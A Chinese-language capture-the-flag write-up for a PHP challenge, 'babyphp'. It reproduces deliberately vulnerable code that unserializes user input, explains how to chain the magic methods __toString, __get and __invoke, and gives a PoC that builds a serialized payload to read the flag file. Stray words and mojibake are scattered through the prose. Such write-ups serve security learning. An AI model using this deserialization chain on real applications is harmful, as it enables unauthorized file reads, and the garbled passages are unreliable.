比賽的時候沒作出來,回來之後一會就作出來了,難受。。。仍是基本功不紮實,都不記得__invoke
怎麼觸發的了php
放上源碼函數
<?php error_reporting(1); class Read { public $var; public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; } public function __invoke(){ $content = $this->file_get($this->var); echo $content; } } class Show { public $source; public $str; public function __construct($file='index.php') { $this->source = $file; echo $this->source.'瑙f瀽寮€濮?'."<br>"; } public function __toString() { $this->str['str']->source; } public function _show() { if(preg_match('/http|https|file:|gopher|dict|\.\.|fllllllaaaaaag/i',$this->source)) { die('hacker!'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } } } class Test { public $params; public function __construct() { $this->params = array(); } public function __get($key) { $func = $this->params; return $func(); } } if(isset($_GET['chal'])) { $chal = unserialize($_GET['chal']); } else { $show = new Show('index.php'); $show->_show(); }
官方給的hint是this
babyphp提示:php反序列化鏈構造、魔術方法__toString、__wakeup()、__invoke()、__get()code
其實沒什麼用,很明顯是反序列化。關鍵是pop鏈的構造思路。
我找pop鏈的思路通常是對象
__destruct()
、__toString()
這樣容易觸發反序列化的魔術方法,這是pop鏈的起點file_get_contents()
這種,這是pop鏈的終點本題中pop鏈的起點應該是Show::__toString()
,而後尋找可用的echo
,第一眼看到的就仍是Show::__construct()
,還有一處Read::__invoke
中的echo
實際上是最後getflag的地方。咱們帶着這個思路走下去,那麼Read::__invoke
就是pop鏈的終點。get
__invoke()
觸發條件是源碼
當嘗試以調用函數的方式調用一個對象時,__invoke() 方法會被自動調用。io
能夠發現Test::__get()
中有base64
$func = $this->params; return $func();
繼續回推,__get()
的觸發方法是function
讀取不可訪問屬性的值時,__get() 會被調用。
咱們發現Show::__toString()
中有$this->str['str']->source;
,完美
最終poc以下
<?php error_reporting(3); class Read { public $var; } class Show { public $source; public $str; } class Test { public $params; } $c = new Read(); $c->var = 'fllllllaaaaaag'; $b = new Test(); $b->params = $c; $d = new Show(); $d->str = array('str'=>$b); $a = new Show(); $a->source = $d; echo serialize($a);